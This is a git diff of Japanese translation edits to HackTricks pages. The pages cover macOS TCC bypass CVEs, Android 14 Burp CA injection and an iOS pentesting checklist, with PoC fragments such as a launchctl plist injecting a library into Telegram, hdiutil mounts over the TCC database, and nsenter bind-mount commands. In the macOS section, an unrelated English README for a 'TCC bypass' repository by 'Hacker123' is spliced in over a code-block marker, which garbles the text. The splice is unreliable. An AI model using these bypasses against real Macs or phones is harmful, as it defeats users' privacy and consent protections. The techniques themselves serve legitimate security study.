-したがって、ユーザーが$HOME環境変数を**異なるフォルダ**を指すように再起動できれば、ユーザーは**/Library/Application Support/com.apple.TCC/TCC.db**に新しいTCCデータベースを作成し、TCCに任意のTCC権限を任意のアプリに付与するようにトリックをかけることができます。
+TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。したがって、ユーザーが`$HOME/Library/Application Support/com.apple.TCC/TCC.db`を指す**異なるフォルダ**でTCCを再起動できる場合、ユーザーは`/Library/Application Support/com.apple.TCC/TCC.db`に新しいTCCデータベースを作成し、TCCに任意のTCC権限を付与するようにトリックをかけることができます。
{% hint style="success" %}
-Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用して、**`$HOME`**の値を取得します。したがって、この値を変更する権限(**`kTCCServiceSystemPolicySysAdminFiles`**)を持つアプリケーションを侵害すると、このオプションをTCCバイパスとして**兵器化**することができます。
+Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用して、**`$HOME`**の値を取得します。したがって、この値を変更する権限(**`kTCCServiceSystemPolicySysAdminFiles`**)を持つアプリケーションを侵害すると、このオプションをTCCバイパスとして**武装化**できます。
{% endhint %}
### [CVE-2020–9934 - TCC](./#c19b)
@@ -252,17 +251,16 @@ Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用し
### CVE-2021-30970 - Powerdir
-**最初のPOC**は、[**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)と[**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して、ユーザーのHOMEフォルダを変更します。
+**最初のPOC**は、[**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)と[**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して、ユーザーのホームディレクトリを変更します。
-1. ターゲットアプリケーションの_csreq_ blobを取得します。
-2. 必要なアクセス権限と_csreq_ blobを持つ偽の_TCC.db_ファイルを配置します。
+1. ターゲットアプリケーションの_csreq_ブロブを取得します。
+2. 必要なアクセス権限と_csreq_ブロブを持つ偽の_TCC.db_ファイルを配置します。
3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)を使用してユーザーのDirectory Servicesエントリをエクスポートします。
4. ユーザーのホームディレクトリを変更するためにDirectory Servicesエントリを変更します。
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して変更されたDirectory Servicesエントリをインポートします。
6. ユーザーの_tccd_を停止し、プロセスを再起動します。
-**2番目のPOC**は、`/usr/libexec/configd`を使用し、`com.apple.private.tcc.allow`が`kTCCServiceSystemPolicySysAdminFiles`の値を持っていました。\
-攻撃者は、**`configd`**を**`-t`**オプションで実行することで、**カスタムバンドルをロード**できました。したがって、この脆弱性は、ユーザーのホームディレクトリを変更する**`configd`コードインジェクション**で**`dsexport`**および**`dsimport`**方法を置き換えることができました。
+**2番目のPOC**は、`/usr/libexec/configd`が`com.apple.private.tcc.allow`という値`kTCCServiceSystemPolicySysAdminFiles`を持っていたことです。**`configd`**を**`-t`**オプションで実行することが可能で、攻撃者は**カスタムバンドルをロード**できました。したがって、この脆弱性は、ユーザーのホームディレクトリを変更する**`configd`コードインジェクション**で**`dsexport`**および**`dsimport`**の方法を置き換えることができました。
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を確認してください。
@@ -281,14 +279,14 @@ Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用し
アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、**`kTCCServiceSystemPolicySysAdminFiles`**権限を持ち、**`.daplug`**拡張子のプラグインを読み込み、**ハード化されていなかった**ランタイムを持っていました。
-このCVEを兵器化するために、**`NFSHomeDirectory`**が変更され(前述の権限を悪用)、TCCをバイパスするためにユーザーのTCCデータベースを**乗っ取る**ことができるようになりました。
+このCVEを武装化するために、**`NFSHomeDirectory`**が変更され(前述の権限を悪用)、TCCをバイパスするためにユーザーのTCCデータベースを**乗っ取る**ことができるようになりました。
詳細については、[**元のレポート**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)を確認してください。
### CVE-2020-29621 - Coreaudiod
-バイナリ **`/usr/sbin/coreaudiod`** には、`com.apple.security.cs.disable-library-validation` と `com.apple.private.tcc.manager` の権限がありました。最初の権限は **コードインジェクションを許可** し、2番目の権限は **TCCの管理権限を与えました**。
+バイナリ **`/usr/sbin/coreaudiod`** には、`com.apple.security.cs.disable-library-validation` と `com.apple.private.tcc.manager` の権限がありました。最初の権限は **コードインジェクションを許可** し、2番目の権限は **TCCを管理するアクセスを与えました**。
-このバイナリは、`/Library/Audio/Plug-Ins/HAL` フォルダから **サードパーティプラグインを読み込むことを許可**していました。したがって、この PoC を使用して **プラグインを読み込み、TCC権限を悪用** することが可能でした:
+このバイナリは、`/Library/Audio/Plug-Ins/HAL` フォルダから **サードパーティのプラグインを読み込むことを許可**していました。そのため、この PoC を使用して **プラグインを読み込み、TCC権限を悪用** することが可能でした:
```objectivec
#import
#import
@@ -355,13 +353,13 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
```
### CVE-2020-10006
-バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、これによりプロセス内にコードを注入して TCC 権限を使用することができました。
+バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` には、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限があり、これによりプロセス内にコードをインジェクトして TCC 権限を使用することができました。
### CVE-2023-26818 - Telegram
-Telegram には、**`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限があり、これを悪用してカメラでの録画など、**その権限にアクセス**することが可能でした。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
+Telegram には、**`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限があり、これによりカメラでの録画などの権限にアクセスすることが可能でした。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
-環境変数を使用してライブラリをロードする方法に注目し、**カスタム plist** を作成してこのライブラリを注入し、**`launchctl`** を使用して起動する方法について説明します。
+環境変数を使用してライブラリをロードする方法に注目し、**カスタム plist** を作成してこのライブラリをインジェクトし、**`launchctl`** を使用して起動する方法について説明します。
```xml
@@ -393,13 +391,13 @@ launchctl load com.telegram.launcher.plist
```
## オープン呼び出しによるバイパス
-サンドボックス化された状態でも**`open`**を呼び出すことが可能です
+**`open`** を使用している間でもサンドボックス化されている可能性があります
### ターミナルスクリプト
技術者が使用するコンピュータでは、ターミナルに**フルディスクアクセス(FDA)**を与えることが一般的です。そして、それを使用して**`.terminal`**スクリプトを呼び出すことが可能です。
-**`.terminal`**スクリプトは、**`CommandString`**キーで実行するコマンドが指定されたこのようなplistファイルです。
+**`.terminal`**スクリプトは、**`CommandString`**キーで実行するコマンドが記述されたこのようなplistファイルです。
```xml
@@ -417,7 +415,7 @@ launchctl load com.telegram.launcher.plist
```
-アプリケーションは、/tmpなどの場所にターミナルスクリプトを書き込み、次のようにコマンドを使用して起動する可能性があります:
+アプリケーションは、/tmpなどの場所にターミナルスクリプトを書き込んで、次のようにコマンドを使って起動する可能性があります:
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
@@ -432,8 +430,8 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - mount\_apfs TCC バイパスと権限昇格
-**どんなユーザー**(特権を持たないユーザーでも)がタイムマシンのスナップショットを作成し、マウントし、そのスナップショット内の**すべてのファイルにアクセス**できます。\
-**必要な特権**は、使用されるアプリケーション(例:`Terminal`)が**Full Disk Access**(FDA)アクセス(`kTCCServiceSystemPolicyAllfiles`)を持つ必要があり、これは管理者によって許可される必要があります。
+**どんなユーザー**(特権を持たないユーザーでも)がタイムマシンのスナップショットを作成し、マウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\
+**唯一必要な特権**は、使用されるアプリケーション(例:`Terminal`)が**Full Disk Access**(FDA)アクセス(`kTCCServiceSystemPolicyAllfiles`)を持つ必要があり、これは管理者によって許可される必要があります。
{% code overflow="wrap" %}
```bash
@@ -471,7 +469,29 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
```
-{% endcode %}
+## macOS TCC Bypasses
+
+### Introduction
+
+This repository contains various techniques to bypass macOS Transparency, Consent, and Control (TCC) framework protections.
+
+### Contents
+
+- **[tcc_db_bypass](tcc_db_bypass/)**: Code demonstrating how to bypass TCC protections by modifying the TCC.db database.
+- **[tcc_prompt_bypass](tcc_prompt_bypass/)**: Code showing how to bypass TCC prompts by exploiting the `TCC.framework` library.
+
+### Disclaimer
+
+These techniques are for educational purposes only. Misuse of this information could violate laws and regulations. Use at your own risk.
+
+### Credits
+
+- **Author**: Hacker123
+- **Twitter**: [@hacker123](https://twitter.com/hacker123)
+
+### License
+
+This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
```python
# This was the python function to create the dmg
def create_dmg():
@@ -499,7 +519,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
## grepによる
-いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が非保護の場所に保存されることがあります(これはAppleの脆弱性としてカウントされます)。
+いくつかの場合、ファイルには電子メール、電話番号、メッセージなどの機密情報が非保護の場所に保存されています(これはAppleの脆弱性としてカウントされます)。
@@ -507,11 +527,11 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
これはもはや機能しませんが、[**過去には機能しました**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
-
+
[**CoreGraphics イベント**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)を使用した別の方法:
-
+
## 参考
diff --git a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
index 031f2fd6c..2bcc1e3a0 100644
--- a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
+++ b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
@@ -8,13 +8,13 @@ HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
-- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
+- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
-## 仮想マシン上で
+## 仮想マシン上
まず、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行うことができます。
@@ -29,7 +29,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
{% endcode %}
-次に、**Burpの証明書を設定するには**:
+次に、**Burpの証明書を設定する**には、次の手順を実行します:
{% code overflow="wrap" %}
```bash
@@ -52,31 +52,31 @@ Magiscでデバイスをroot化した場合(おそらくエミュレータ)
[**このビデオ**](https://www.youtube.com/watch?v=qQicUW0svB8)で説明されているように、次の手順を実行する必要があります:
-1. **CA証明書をインストール**:DER Burp証明書を`.crt`に変更してモバイルにドラッグ&ドロップし、ダウンロードフォルダに保存し、`証明書のインストール` -> `CA証明書`に移動します
+1. **CA証明書をインストール**:DER Burp証明書を`.crt`に変更してモバイルにドラッグ&ドロップし、ダウンロードフォルダに保存し、「証明書のインストール」->「CA証明書」に移動します
-
+
-* `Trusted credentials` -> `USER`に移動して、証明書が正しく保存されていることを確認します
+* 証明書が正しく保存されたことを確認するには、「信頼された証明書」->「ユーザー」に移動します
-
+
-2. **システム信頼済みにする**:Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zipファイル)をダウンロードし、それを電話にドラッグ&ドロップし、電話のMagicsアプリに移動して、`Modules`セクションに移動し、`ストレージからインストール`をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します:
+2. **システムで信頼されるようにする**:Magiscモジュール[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(.zipファイル)をダウンロードし、それを電話にドラッグ&ドロップし、電話のMagicsアプリに移動して「モジュール」セクションに移動し、「ストレージからインストール」をクリックし、`.zip`モジュールを選択してインストールしたら、電話を**再起動**します:
-* 再起動後、`Trusted credentials` -> `SYSTEM`に移動して、Postswigger証明書がそこにあることを確認します
+* 再起動後、「信頼された証明書」->「システム」に移動し、Postswigger証明書がそこにあるかどうかを確認します
-
+
## Android 14以降
-最新のAndroid 14リリースでは、システム信頼済みの証明機関(CA)証明書の取り扱いに大きな変更が見られます。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納され、root権限を持つユーザーがアクセスして変更でき、システム全体に即座に適用できました。しかし、Android 14では、ストレージ場所が**`/apex/com.android.conscrypt/cacerts`**に移動されました。これは**`/apex`**パス内のディレクトリであり、その性質上変更できません。
+最新のAndroid 14リリースでは、システムで信頼される証明機関(CA)証明書の取り扱いに大きな変更が見られます。以前は、これらの証明書は**`/system/etc/security/cacerts/`**に格納され、root権限を持つユーザーがアクセスして変更でき、システム全体に即座に適用できました。しかし、Android 14では、保存場所が**`/apex/com.android.conscrypt/cacerts`**に移動されました。これは**`/apex`**パス内のディレクトリであり、その性質上変更できません。
-**APEX cacertsパス**を書き込み可能にリマウントしようとする試みは失敗します。システムはこのような操作を許可しません。**`/apex`**ディレクトリを一時ファイルシステム(tmpfs)でアンマウントしたりオーバーレイしたりしても、不変性を回避することはできません。ファイルシステムレベルでの変更に関わらず、アプリケーションは元の証明書データにアクセスし続けます。これは、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないようにしています。
+**APEX cacertsパス**を書き込み可能にリマウントしようとする試みは失敗します。システムはこのような操作を許可しません。**`/apex`**ディレクトリを一時的なファイルシステム(tmpfs)でアンマウントしたりオーバーレイしたりしても、不変性を回避することはできません。ファイルシステムレベルでの変更に関わらず、アプリケーションは元の証明書データにアクセスし続けます。これは、**`/apex`**マウントがPRIVATE伝播で構成されているためであり、**`/apex`**ディレクトリ内の変更が他のプロセスに影響を与えないようにしています。
-Androidの初期化には`init`プロセスが関与し、オペレーティングシステムの起動時にZygoteプロセスも開始されます。このプロセスは、新しいマウント名前空間を持つZygoteプロセスを起動し、このディレクトリの変更を他のプロセスから分離します。
+Androidの初期化には`init`プロセスが関与し、オペレーティングシステムの起動時にZygoteプロセスも開始されます。このプロセスは、新しいマウント名前空間を持つZygoteプロセスを起動し、このディレクトリへの変更を他のプロセスから分離します。
-**`/apex`**ディレクトリ内のシステム信頼済みCA証明書を変更する必要がある場合には、回避策が存在します。これには、**`/apex`**を手動でリマウントしてPRIVATE伝播を削除し、書き込み可能にする必要があります。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`**ディレクトリをアンマウントして読み取り専用制約を解除し、その後、**`/apex`**内の元の場所に内容を復元する必要があります。このアプローチはシステムクラッシュを回避するために迅速な対応が必要です。これらの変更がシステム全体に適用されるようにするためには、`system_server`を再起動することをお勧めします。これにより、すべてのアプリケーションが再起動され、システムが一貫した状態になります。
+ただし、**`/apex`**ディレクトリ内のシステムで信頼されるCA証明書を変更する必要がある場合の回避策が存在します。これには、**`/apex`**を手動でリマウントしてPRIVATE伝播を削除し、書き込み可能にする必要があります。このプロセスには、**`/apex/com.android.conscrypt`**の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`**ディレクトリをアンマウントして読み取り専用制約を解除し、その後、**`/apex`**内の元の場所に内容を復元する必要があります。このアプローチはシステムクラッシュを回避するために迅速な対応が必要です。これらの変更をシステム全体に適用するためには、`system_server`を再起動することをお勧めします。これにより、すべてのアプリケーションが再起動され、システムが一貫した状態になります。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@@ -136,7 +136,7 @@ echo "System certificate injected"
```
### NSEnterを介したバインドマウント
-1. **書き込み可能ディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリに`tmpfs`をマウントして書き込み可能なディレクトリを確立します。次のコマンドを使用してこれを実現します:
+1. **書き込み可能ディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリに`tmpfs`をマウントして書き込み可能ディレクトリを確立します。次のコマンドを使用してこれを実現します:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
@@ -145,13 +145,13 @@ mount -t tmpfs tmpfs /system/etc/security/cacerts
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-これにより、開始されるすべての新しいアプリが更新されたCA証明書のセットアップに従うようになります。
+これにより、新しいアプリが開始されるたびに、更新されたCA証明書の設定に従うようになります。
-4. **実行中のアプリに変更を適用する**: 既に実行中のアプリに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを行います。必要なコマンドは次のとおりです:
+4. **実行中のアプリに変更を適用する**: 既に実行中のアプリケーションに変更を適用するには、`nsenter`を再度使用して各アプリの名前空間に個別に入り、同様のバインドマウントを行います。必要なコマンドは次のとおりです:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-5. **代替手法 - ソフト再起動**: 代替手法は、`init` プロセス(PID 1)での bind マウントを実行し、`stop && start` コマンドでオペレーティングシステムをソフト再起動する方法です。この手法により、変更がすべてのネームスペースに伝播され、実行中の各アプリを個別に対処する必要がなくなります。ただし、再起動の手間がかかるため、一般的にこの方法は好まれません。
+5. **代替手法 - ソフト再起動**: 代替手法は、`init` プロセス(PID 1)での bind マウントを実行し、`stop && start` コマンドでオペレーティングシステムをソフト再起動する方法です。この手法により、変更がすべてのネームスペースに伝播し、実行中の各アプリを個別に対処する必要がなくなります。ただし、再起動の手間がかかるため、一般的にこの方法は好まれません。
## 参考文献
@@ -159,14 +159,14 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
+htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ こちら!
HackTricks をサポートする他の方法:
-* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
-* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
-* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローしてください**
-* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
+* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
+* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
+* **HackTricks** および **HackTricks Cloud** の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md
index abf87ef35..40cb7cd00 100644
--- a/mobile-pentesting/ios-pentesting-checklist.md
+++ b/mobile-pentesting/ios-pentesting-checklist.md
@@ -1,9 +1,9 @@
# iOS Pentesting Checklist
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって**自動化されたワークフロー**を簡単に構築します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -15,16 +15,16 @@
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
+* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを入手
-* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
-* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出**してください。
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
+* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください**。
**Try Hard Security Group**
-
+
{% embed url="https://discord.gg/tryhardsecurity" %}
@@ -38,39 +38,39 @@ HackTricksをサポートする他の方法:
### データストレージ
-* [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存することができます。
-* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には機密情報を保存することができます。
-* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には機密情報を保存することができます。
+* [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存できます。
+* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には機密情報を保存できます。
+* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には機密情報を保存できます。
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。
-* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には機密情報を保存することができます。
-* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には機密情報を保存することができます。
-* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には機密情報を保存することができます。
-* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には機密情報を保存することができます。
-* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には視覚的な機密情報を保存することができます。
-* [ ] [**Keychain**](ios-pentesting/#keychain)は通常、再販時に残される可能性のある機密情報を保存するために使用されます。
-* [ ] 要するに、アプリケーションがファイルシステムに保存する機密情報を**チェック**するだけです。
+* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には機密情報を保存できます。
+* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には機密情報を保存できます。
+* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には機密情報を保存できます。
+* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には機密情報を保存できます。
+* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には視覚的な機密情報を保存できます。
+* [ ] [**Keychain**](ios-pentesting/#keychain)は通常、電話を再販する際に残される可能性のある機密情報を保存するために使用されます。
+* [ ] 要するに、アプリケーションがファイルシステムに保存した機密情報を**チェック**するだけです。
### キーボード
* [ ] アプリケーションが[**カスタムキーボードを使用できるように許可**](ios-pentesting/#custom-keyboards-keyboard-cache)していますか?
-* [ ] 機密情報が[**キーボードキャッシュファイルに保存されているか**](ios-pentesting/#custom-keyboards-keyboard-cache)を確認してください。
+* [ ] 機密情報が[**キーボードキャッシュファイルに保存されているかどうか**](ios-pentesting/#custom-keyboards-keyboard-cache)を確認してください。
### **ログ**
-* [ ] [**機密情報が記録されているか**](ios-pentesting/#logs)を確認してください。
+* [ ] [**機密情報が記録されているかどうか**](ios-pentesting/#logs)を確認してください。
### バックアップ
-* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの初期ポイントを確認してください)。
+* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの最初のポイントを確認してください)。
* [ ] また、[**バックアップ**](ios-pentesting/#backups)を使用して、アプリケーションの一部の構成を変更し、その後バックアップを電話に**復元**し、**変更された構成**が**ロード**されると、いくつかの(セキュリティ)**機能**が**バイパス**される可能性があります。
### **アプリケーションメモリ**
-* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないかを確認してください。
+* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないか確認してください。
### **破られた暗号**
-* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるかを確認してください。
+* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるかどうかを確認してください。
* [ ] 送信/保存される機密データに[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないかを確認してください。
* [ ] 暗号化関数を[**フックして監視**](ios-pentesting/#broken-cryptography)する。
@@ -78,38 +78,38 @@ HackTricksをサポートする他の方法:
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているかを確認してください。
* [ ] [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性があります。
-* [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムフリダスクリプトを作成できます。
+* [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムFridaスクリプトを作成できます。
### IPCを介した機密機能の露出
* [**カスタムURIハンドラ/ディープリンク/カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] アプリケーションが**どのようなプロトコル/スキームを登録しているか**を確認してください。
-* [ ] アプリケーションがどのようなプロトコル/スキームを**使用するために登録しているか**を確認してください。
-* [ ] アプリケーションがカスタムスキームから受信することを期待している**機密情報の種類**を確認し、同じスキームを登録している別のアプリケーションによって**傍受**される可能性があるかを確認してください。
-* カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**場合、**脆弱性が悪用**される可能性があるかを確認してください。
-* どこからでも呼び出すことができる**機密アクションを公開**していないかを確認してください。
+* [ ] アプリケーションが**どのようなプロトコル/スキームを使用するように登録しているか**を確認してください。
+* [ ] アプリケーションがカスタムスキームから受信する可能性のある**機密情報**を**他のアプリケーションが同じスキームを登録してインターセプト**できるかどうかを確認してください。
+* [ ] アプリケーションがカスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかどうかを確認してください。
+* [ ] アプリケーションがカスタムスキームを介して**どこからでも呼び出すことができる機密なアクション**を公開していないかを確認してください。
* [**Universal Links**](ios-pentesting/#universal-links)
* [ ] アプリケーションが**どのようなユニバーサルプロトコル/スキームを登録しているか**を確認してください。
-* `apple-app-site-association`ファイルを確認してください。
-* カスタムスキームを介して**ユーザー入力をチェックおよび消毒していない**場合、**脆弱性が悪用**される可能性があるかを確認してください。
-* どこからでも呼び出すことができる**機密アクションを公開**していないかを確認してください。
+* [ ] `apple-app-site-association`ファイルを確認してください。
